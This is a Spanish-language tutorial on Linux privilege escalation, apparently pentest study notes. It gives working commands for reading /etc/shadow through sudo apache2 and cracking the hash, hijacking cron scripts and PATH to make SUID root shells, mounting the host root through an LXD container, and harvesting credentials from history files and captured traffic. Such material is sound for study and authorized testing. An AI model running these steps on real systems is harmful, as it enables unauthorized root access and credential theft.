Escalación de Privilegios en entornos Linux

Escalación de Privilegios

Herramientas de enumeración:

Exploits de kernel

El kernel es el núcleo de cualquier sistema operativo, debido que, es la interfaz fundamental entre el hardware y sus procesos.

Los exploits a nivel de kernel aprovechan las vulnerabilidades que estos tienen para poder ejecutar código como root.

Estos exploits son específicos a cada versión vulnerable, y cuando se usan, pueden causar inestabilidad del sistema, o causar inoperabilidad del sistema completo.

El escalar privilegios usando un exploit de kernel es tan fácil como: descargar el exploit, compilarlo y ejecutarlo (estas pueden funcionar de forma inmediata, o pueden requerir modificaciones).

Lo mejor para encontrar un exploit, es buscar en google, github o exploit-db.

uname -a
cat /etc/lsb-release
searchsploit linux kernel <kernel_version> priv esc
./linux-exploit-suggester-2.pl -k <kernel_version>

Servicios vulnerables

Los servicios son programas que corren en segundo plano, los cuales, pueden aceptar entradas o realizando tareas de forma periódicas.

Al igual que con los exploits de kernel, podemos usar Searchsploit, Google o Github para encontrar exploits para estos servicios.

# Procesos como root
ps aux | grep "^root"
# Versiones de programas
<program> --version
<program> -v
# Distribuciones basadas en Debian
dpkg -l | grep <program>
apt list --installed
# Distribuciones que usen RPM
rpm -qa | grep <program>
# Programas instalados con SNAP
snap list
# Programas instalados
ls /bin/
ls /usr/bin/

Archivos con permisos débiles

Nos podemos aprovechar de algunos archivos del sistema para escalar privilegios si el permiso en uno de ellos es muy débil.

Si estos archivos pueden ser leídos, podrían contener información sobre cuentas locales, como la de root. En caso de que podamos escribir en el, podríamos modificar la forma en que el OS funciona y así, poder tener acceso como root.

  • Archivo /etc/shadow: uno de los archivos en que nos tenemos que fijar es en el archivo /etc/shadow, el cual, contiene los hashes de las contraseñas de los usuarios, y que por defecto puede ser leído solo por root. si podemos leer este archivo, obtendremos el hash del usuario root, el cual, podría ser crackeado. En caso de que podamos escribir este archivo, podríamos reemplazar el hash de la contraseña de root.

  • Archivo /etc/passwd: en versiones anteriores, el archivo /etc/passwd contenía los hashes de los usuarios. Por este motivo, si en la segunda columna de un usuario se tiene un hash, este se toma en cuenta antes de que se valide en el archivo /etc/shadow. Entonces, si podemos escribir en este archivo, podríamos incorporar un hash en el usuario root. En caso de que solo podamos agregar información a este, podríamos crear un nuevo usuario, al cual, le asignaremos le UID de root (0).

ls -l /etc/shadow
ls -l /etc/passwd
./lse.sh -l 1 -i | more

Abusando de los permisos de sudo

Sudo es un programa que le permite a los usuario ejecutar otros programas con privilegios de otros usuarios.

Los privilegios de sudo pueden ser asignados a un usuario permitiendole correr ciertos comandos como root, sin la necesidad de cambiar de usuario o ganar un privilegio excesivo.

Por lo tanto, cuando se usa el comando sudo, el sistema valida si el usuario tiene los permisos correctos para ejecutar dicho comando (se encuentra configurado en /etc/sudoers).

Para correr un programa usando sudo, se debe hacer de la siguiente forma:

sudo <program>

Si queremos correr un programa como otro usuario, debemos usar el siguiente comando:

sudo -u <username> <program>

Como atacantes, podemos usar el siguiente comando: sudo -l. Con este comando podemos identificar si el usuario posee privilegios de sudo en ciertos comandos, y ver si algunos de ellos no solicita el ingreso de la contraseña para su ejecución (aparecerá NOPASSWD).

Si podemos usar cualquier comando, y sabemos la contraseña del usuario, podemos usar sudo su para obtener una shell como root.

En caso de que no podamos usar su, existen otras alternativas para escalar privilegios:

sudo -s
sudo -i
sudo /bin/bash
sudo passwd

Incluso, podríamos usar una secuencia de escape de la shell.

Secuencia de escape de la shell

Incluso si estamos restringidos a usar ciertos programas con sudo, podríamos escapar del programa para obtener una shell.

Las secuencia de escape de la shell las podemos encontrar en GTFOBins.

Abusando de las Intended Functionality

Si un programa no tiene una secuencia de escape, aún es posible escalar privilegios.

Podemos leer archivos como root, y con esto extraer información (como contraseñas, hashes, llaves, etc.).

Si podemos escribir archivos como root, podemos insertar o modificar información.

Variables de entorno

Los programas que se ejecutan con sudo pueden heredar las variables de entorno desde el entorno del usuario.

Si en el archivo /etc/sudoers encontramos la opción env_reset, sudo ejecutará el programa en un nuevo entorno mínimo.

La opción env_keep puede ser usada para mantener las variables de entorno del entorno de un usuario.

Estas opciones se pueden encontrar con el comando sudo -l.

LD_PRELOAD

Es una variable de entorno que puede ser configurada para la ruta de un archivo shared object (.so).

Cuando se encuentra habilitado, el shared object puede ser cargado antes de cualquier otra cosa.

Podemos crear un shared object con una función init(), donde ejecutaremos nuestro código cuando este sea cargado.

Este no funcionará si el ID del usuario real es diferente del ID del usuario efectivo.

Sudo debe estar configurado para mantener la variable de entorno LD_PRELOAD usando la opción env_keep.

LD_LIBRARY_PATH

Esta variable de entorno contiene una lista de directorios, donde, las librerías compartidas son buscadas primero.

El comando ldd puede ser usado para imprimir las librerías compartidas usado por un programa:

ldd <program>

Si creamos una librería compartida con el mismo nombre de que usa uno de los programas, y establecer LD_LIBRARY_PATH en su directorio principal, el programa cargará nuestra librería compartida en su lugar.

Explotación

sudo -l

Al buscar apache2 en GTFOBins, vemos que no existen sencuencias de escape:

Si vemos la información del manual de apache2, podemos usar la opción -f para indicar un archivo de configuración:

Podemos indicar el archivo /etc/shadow, donde, nos dará un error mostrando información del archivo, del cual, obtenemos los hashes que posteriormente podríamos crackear:

sudo apache2 -f /etc/shadow
echo '$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0' > hash.txt
john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Ahora con esto ingresamos como root al sistema:

su

Abusando de los cron jobs

Los cron jobs son tareas programadas con la finalidad de ejecutar procesos periodicamente, como realizar respaldos, limpiar directorios, entre otros.

Los cron jobs se ejecutan con el mismo nivel de seguridad del usuario que los creó.

Por defecto, estos son ejecutados usando la shell /bin/sh, con variables de entorno limitados.

Con el comando crontab se crean los cron table files, los cuales, contendrán las tareas que necesitamos ejecutar.

Los archivos cron poseen 6 campos: minutos, horas, días, mes, semana y comando, por ejemplo: 0 */12 * * * /home/admin/backup.sh.

Los contrabs de los usuarios son alojados en /var/spool/cron/ o en /var/spool/cron/crontabs/, miestras que, los crontab del sistema se encuentran en /etc/crontab.

A veces, los archivos asociados a los cron jobs pueden tener fallas de configuración, como los permisos de estos. Por lo tanto, si podemos escribir el programa o el script que se encuentra en el cron job, podríamos reemplazarlo por nuestro código para escalar privilegios.

Como atacantes, es necesario buscar los archivos cron del usuario root, donde, se tengan permisos de escritura.

cat /etc/crontab
./lse.sh -l 1 -i | more
./pspy64s -pf -i 1000
  • Usando lse.sh enumeramos si podemos escribir un ejecutable en el path del cron job y podemos encontrar un archivo ejecutable dentro del archivo contrab:

./lse.sh -l 1 -i | more
  • Como el script overwrite.sh no especifica su ruta absoluta, podemos crear un script con el mismo nombre en la ruta /home/user:

# Nuevo archivo overwrite.sh almacenado en /home/user
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
  • Le damos permisos de ejecución al script nuevo:

chmod +x /home/user/overwrite.sh
  • Ejecutamos el nuevo binario creado en /tmp:

/tmp/rootbash -p

Permisos especiales

SetUID Bit

El permiso SetUID (conocido también como SUID o Set User ID Upon Execution) puede permitir a un usuario a ejecutar un programa con permisos de otro usuario.

Para detectar este permiso, debe aparecer una s, y podemos usar el siguiente comando para encontrar binarios con dicho permiso:

find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null

SetGID

El permiso SetGID (conocido también como SGID o Set Group ID) es otro permiso especial, el cual, permite correr el binario como si fueramos parte del grupo que lo creo. Al igual que en SUID, se debe tener una s en los permisos, y se puede detectar con el siguiente comando:

find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2>/dev/null
find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/null

Para mayor información, visitar el siguiente enlace.

Explotación

./lse.sh -l 1 -i | more
./LinEnum.sh
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2>/dev/null

La variable de entorno PATH contiene la lista de directorios donde la shell debería encontrar los programas.

Si un programa intenta ejecutar otro programa, pero este no especifica el la ruta absoluta de este, buscará en los directorios del PATH hasta encontrarlo.

Por lo tanto, si tenemos control sobre la variable PATH, podemos decirle que busque nuestro programa en un directorio donde podamos escribir.

Si un programa intenta ejecutar otro, el nombre de este aparecerá como string en el ejecutable. Por este motivo, podemos usar el comando stringspara buscar en el programa.

También, podemos usar strace para que programas se encuentra ejecutando.

Una tercera forma de obtener esta información, es es usando ltrace.

strings /path/file
strace -v -f -e execve <command> 2>&1 | grep exec
ltrace <command>

Si buscamos los SUID, podemos encontrar el binario suid-env:

  • Buscamos archivos con permisos SUID:

find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2>/dev/null
  • Al ejecutarlo, vemos que utiliza apache2:

/usr/local/bin/suid-env
  • Usando strings, vemos que inicia el servicio apache2, donde, no se especifica la ruta absoluta de este:

strings /usr/local/bin/suid-env
  • Usando strace y ltrace comprobamos que ejecuta dicho servicio:

strace -v -f -e execve /usr/local/bin/suid-env 2>&1 | grep service
ltrace /usr/local/bin/suid-env
  • Archivo C llamado service.c:

int main() {
    setuid(0);
    system("/bin/bash -p");
}
  • Compilamos el binario:

gcc -o service service.c
  • Modificamos el PATH y ejecutamos el binario con el SUID:

PATH=.:$PATH
/usr/local/bin/suid-env

Encontrando credenciales

Cuando hacemos una evaluación de seguridad, podemos encontrar almacenamientos débiles de contraseñas, o que las contraseñas estan siendo reutilizadas, lo cual, podría ser una forma fácil de escalar privilegios.

Muchas de estas contraseñas se encuentran archivos de configuración (.conf, .config, .xml, .bak, entre otros).

A diferencia de otras contraseñas que podrían ser encontradas almacenadas en texto plano, la de root se encuentra de forma segura en formato de hash en /etc/shadow. Pero, si el usuario de root reutiliza su contraseña para los servicios, estas pueden ser usadas para obtener privilegios de root.

Los comandos utilizados por un usuario son registrados en el archivo history, el cual, podría contener contraseñas ingresadas por el usuario.

Si hacemos un ls -la en el directorio home del usuario, podemos ver que tenemos varios archivos history:

Si leemos dichos archivos, podemos encontrar la contraseña de root:

cat .*history

Privilegios de grupos

LXD es similar a Docker y es el administrador de contenedores de Ubuntu. Cuando se instala, todos los usuarios se agregan al grupo LXD, el cual, puede ser utilizado para aumentar privilegios creando un contenedor, haciendolo privilegiado, donde, podemos acceder al sistema de archivos del host en /mnt/root:

id

Descomprimimos la imagen Alpine:

unzip alpine.zip

Ejecutamos el proceso de inicialización de LXD (elegimos los valores por defecto):

Para mayor información, referirse al siguiente post.

lxd init

Importamos la imagen local:

lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine

Iniciamos un contenedor con privilegios con la opción security.privileged configurado en true, para poder correr un contenedor sin mapeo UID, haciendo al usuario root del contenedor igual como el root del host:

lxc init alpine r00t -c security.privileged=true

Montamos el sistema de archivos del host:

lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true

Finalmente, obtenemos una shell dentro de la instacia del contenedor. Ahora podemos navegar por el sistema de archivos del host montado como root. Por lo tanto, si queremos ir al directorio home de root, podemos hacerlo con el comando cd /mnt/root/root:

lxc start r00t
lxc exec r00t /bin/sh

Técnicas misceláneas

Si tenemos instalado tcpdump, usuarios privilegiados pueden capturar tráfico de la red, donde, se pueden encontrar intercambio de credenciales en texto plano.

Existen múltiples herramientas (como net-creds y PCredz) que nos pueden ayudar a analizar el tráfico capturado en busqueda de credenciales. Se pueden detectar:

  • Números de tarjetas de crédito

  • Credenciales o hashes de los siguientes protocolos:

    • SNMP

    • NTLMv2

    • SMBv2

    • Kerberos

    • HTTP

    • FTP

    • POP

    • IMAP

    • Telnet

    • SMTP

Last updated